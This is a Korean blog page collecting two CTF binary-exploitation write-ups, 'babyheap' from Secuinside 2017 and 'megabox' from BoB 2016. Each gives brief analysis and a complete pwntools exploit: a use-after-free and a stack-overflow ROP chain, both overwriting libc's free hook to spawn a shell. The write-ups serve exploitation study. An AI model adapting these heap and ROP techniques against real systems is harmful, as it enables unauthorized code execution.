'free_got'에 해당되는 글 2건

  1. 2017.07.20 [Secuinside CTF_2017] babyheap(pwn)
  2. 2017.01.10 [BoB CTF_2016] megabox(pwn) 2
2017. 7. 20. 06:55

## Secuinside CTF_2017(babyheap, pwn)


[Summary]

1. realloc(0)이 free()역할을 하는 점을 이용한 UAF 취약점


2. 멤버를 0xff, 0x1만큼 추가하여 0xff만큼 할당시킨 후 realloc(0)이 되게 만들어 free()를 한다.


3. 팀을 0x7f8(0xff * 0x8)의 크기로 create하면 2번에서 free된 자리에 할당된다.
    (이 때 팀의 description에는 __free_got주소를 넣는다.)


4. manage_member 기능을 활용하여 0x7f8의 0번째에 system함수주소를 덮어씌운다.(UAF)
    (__free_got주소안에 system함수 주소를 넣는다.)


5. delete member기능을 이용하여 free()를 하면 system('/bin/sh')이 실행된다.
    (이 때 멤버의 description에는 "/bin/sh\x00"문자열이 들어있어야 한다.)


6. Leak은 팀을 생성한 후 멤버를 0xff만큼 추가하고 멤버 한명을 삭제하면
    fd,bk쪽에 빈리스트의 주소가 저장되는데 이를 릭한 후 오프셋 계산을 통해 libc base를 계산한다.
    (마찬가지로 system주소, __free_got도 계산)


7. Heap Leak도 할 수 있지만 여기서는 필요 없다.



[Analysis] 

  시간 나면 업데이트 예정..(근데 summary에 너무 자세하게 설명했다.)

 이 문제는 대회때는 Heap 주소 릭까지만 하고 그 이후는 진전이 없었던 문제이다. 대회가 끝난 후 WriteUp을 

참고하여 문제를 풀 수 있었다. 열심히 공부해야겠다..


[Exploit Code] - babyheap_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
import os
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
    p = process("./babyheap")
else:
    p = remote("13.124.157.141"31337)
 
binary = ELF("./babyheap")
 
raw_input()
 
def print_menu():
    print p.recvuntil('>')
 
def create_team(length, desc):
    print_menu()
    p.send('1\n')
    print p.recvuntil('length :')
    p.send(length+'\n')
    print p.recvuntil('Description :')
    p.send(desc)
 
def manager_team(index):
    print_menu()
    p.send('3\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
 
def list_team(team_cnt):
    print_menu()
    p.send('4\n')
    for i in xrange(team_cnt):
        print p.recvuntil('Description : ')
        if (i+1== team_cnt:
            leak = p.recv(6); print leak
            return leak
 
def add_member(employment_cnt):
    print_menu()
    p.send('1\n')
    print p.recvuntil('employment :')
    p.send(employment_cnt+'\n')
    
def add_member_info(name, desc):
    print p.recvuntil('Name :')
    p.send(name)
    print p.recvuntil('Description :')
    p.send(desc)
 
def delete_member(index):
    print_menu()
    p.send('2\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
 
def manage_member(index, desc):
    print_menu()
    p.send('4\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
    print p.recvuntil('Description :')
    p.send(desc)
 
def return2team():
    print_menu()
    p.send('5\n')
    
 
if __name__ == '__main__':
    #################### Stage 1 ###################
    #     libc base leak & calc libc's free_hook   #
    ################################################
    create_team(str(5), 'AAAA')    # 0 team
    manager_team('0')
    
    emp_cnt = 0xff
    add_member(str(emp_cnt))
    for i in xrange(emp_cnt):
        add_member_info('/bin/sh\x00','/bin/sh\x00')
    
    delete_member('0')
    return2team()
    create_team(str(0xc8), '\n')    # 1 team+0x16~ : free list's addr
 
    libc_leak = u64(list_team(2)+"\x00\x00"); print hex(libc_leak)
    libc_base = libc_leak - 0x3c270a
    free_hook = libc_base + 0x3c4a10
    system = libc_base + 0x46590
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] libc free_hook : " + hex(free_hook)
    print "[+] system addr : " + hex(system)
    ################### Stage 2 ####################
    #   overwrite __free_hook to system using UAF  #
    ################################################
    manager_team('0')
    add_member('1')        # realloc(0) => free()
    return2team()
 
    create_team(str(0x7f8), p64(free_hook)+'\n')    # 0xff*0x8 = 0x7f8 => uaf
    manager_team('0')
    manage_member('0', p64(system))    # overwrite free_hook to system(uaf)
    
    delete_member('4')    # triggering to free(overwritten system)
 
 
    p.interactive()
 
cs


Posted by holinder4S
2017. 1. 10. 18:31

## BoB CTF_2016(megabox,pwn)


[Summary]

1. memory leak이 간단하고 canary와 libc's base addr을 Leak해야함.

2. clone()함수로 sandbox를 걸어놓음. -> sandbox escape(?)를 해야함.

3. FULL RELRO가 걸려있어 got overwrite가 불가능

4. libc의 got overwrite는 가능한데 free함수를 사용할 경우 free_hook의 got를 realloc함수를 사용할 경우

    realloc_hook의 got를 overwrite해야함.


[Analysis]

- (https://drive.google.com/open?id=0B12bAVEUfDg7bjhNU1J2ZTZOOHc) - (megabox binary)
- (
https://drive.google.com/open?id=0B12bAVEUfDg7NExKLTdRaWNfTHM) - (libc binary)

[그림 1] - main()함수 hex-ray


IDA를 이용하여 [그림 1]과 같이 바이너리를 뜯어보면 clone()함수로 fn이라는 함수를 sandbox에 넣어 동작시키는 것을 알 수 있다.

처음에는 이게 sandbox인 것조차 알지 못하고 대회때는 풀지 못했다. 

mmap()으로 0x41410000영역에 커스텀 스택의 ret를 간단하게 rop를 하여 one-shot가젯을 쓸 수 있을 거라 생각했는데 

그게 아니었다. sandbox에 막혔다.


그리고 보호기법은 Full RELRO였기 때문에 got overwrite가 불가능 했고, 따라서 libc의 got를 덮어쓸 수 있었다. 

아래 [그림 2]와 같이 조금 자세히 fn을 보면 1번 메뉴를 통해 커스텀 스택에 bof가 터지는게 너무 눈에 띄게 취약점이 보였고, 

2번 메뉴를 통해 Memory Leak을 할 수 있었는데 canary와 ret에 저장되어있는 clone+109의 주소를 릭해서 libc의 base addr를 

구할 수 있었고, 이를 통해 libc의 free_hook의 got를 oneshot가젯의 주소로 덮어씌워서 exploit이 가능했다.

[그림 2] - fn()함수


[Exploit Code] - megabox_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import hexdump
import struct
 
context(arch='i686', os='linux')
#local=False
local=True
 
if local:
    p = process("./megabox_patch")
else:
    p = remote("52.34.185.58"10001)
 
binary = ELF("./megabox")
 
raw_input()
 
payload = "A"*136
oneshot_offset = 0x4647C
#libc_free_got_offset = 0x3BDF98
#libc_free_got_offset = 0x3BE060
libc_free_hook_got_offset = 0x3C0A10
#wjret = 0x4141414141414141
 
gets_plt = 0x4009C0
poprdi_offset = 0x22b9a
#read_plt = 0x400980
#printf_plt = 0x400960
canary_leak = ''; oneshot_addr = ''; poprdi_addr = ''; libc_free_hook_got_addr = ''; clone_109 = ''
 
def write_feedback(feedback):
    p.recv(1024); p.send('1\n'); sleep(0.5)
    p.recv(1024)
    p.send(feedback+'\n'); sleep(0.5)
 
def read_feedback(debug_level=0):
    global canary_leak,oneshot_addr,poprdi_addr,libc_free_hook_got_addr,clone_109
    p.recvuntil('menu>>> '); p.send('2\n'); sleep(0.5)
    p.recvuntil('oops!!\n')
 
    stack_leak = p.recv(1024)
    canary_leak = stack_leak[136:144]
    clone_109 = stack_leak[152:160]
    canary_leak = u64(canary_leak)
    clone_109 = u64(clone_109)
    libc_base_addr = clone_109-0xfa37d 
    libc_free_hook_got_addr = libc_base_addr + libc_free_hook_got_offset
    oneshot_addr = libc_base_addr + oneshot_offset
    poprdi_addr = libc_base_addr + poprdi_offset
    #canary_leak = struct.unpack("L", canary_leak)
    #clone_109_leak = struct.unpack("L", clone_109)
    
    if debug_level == 1:
        hexdump.hexdump(stack_leak[:176])
        print "[+] canary's addr : " + hex(canary_leak)
        print "[+] clone+109's addr : " + hex(clone_109)
        print "[+] gets's plt addr : " + hex(gets_plt)
        print "[+] libc_base's addr : " + hex(libc_base_addr)
        print "[+] libc's free_hook got addr : " + hex(libc_free_hook_got_addr)
        print "[+] oneshot's addr : " + hex(oneshot_addr)
        print "[+] poprdi's addr : " + hex(poprdi_addr)
 
#################### Init ######################
p.recvuntil('your name... ')
p.send('wjdebug\n'); sleep(0.5)
 
#################### stage 1 ##################
#               Memory Leak Vuln              #
###############################################
write_feedback(payload)
read_feedback(1)
 
#################### stage 2 ##################
# overwrite libc's free_got to oneshot gadget #
###############################################
#stage2_payload = payload+p64(canary_leak)+p64(0)+p64(poprdi_addr)+p64(libc_free_got_addr)+p64(oneshot_addr)
stage2_payload = payload
stage2_payload += p64(canary_leak)
stage2_payload += p64(0)
stage2_payload += p64(poprdi_addr)
stage2_payload += p64(libc_free_hook_got_addr)
stage2_payload += p64(gets_plt)
stage2_payload += p64(clone_109)
write_feedback(stage2_payload)
 
################### stage 3 ###################
#             Exploit ~~~~~~~~~~!!!           #
###############################################
p.recv(4096); p.send('3\n'); sleep(0.5)        # vuln trigger
p.send(p64(oneshot_addr)+'\n')            # input gets's arg
 
p.interactive()
 
cs



[Get Shell~~!!!!]

[그림 3] 쉘 획득~!


끝~!


ps) Thanks to s0ngsari(s0ngsari.tistory.com)



'CTF writeup' 카테고리의 다른 글

[Codegate CTF_2017] BabyMISC(MISC)  (0) 2017.02.18
[Christmas CTF_2016] who is solo(pwn)  (8) 2017.01.17
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
[Christmas CTF_2016] NMS(misc)  (0) 2016.12.26
[Holyshield CTF_2016] pwnme(pwn)  (0) 2016.12.26
Posted by holinder4S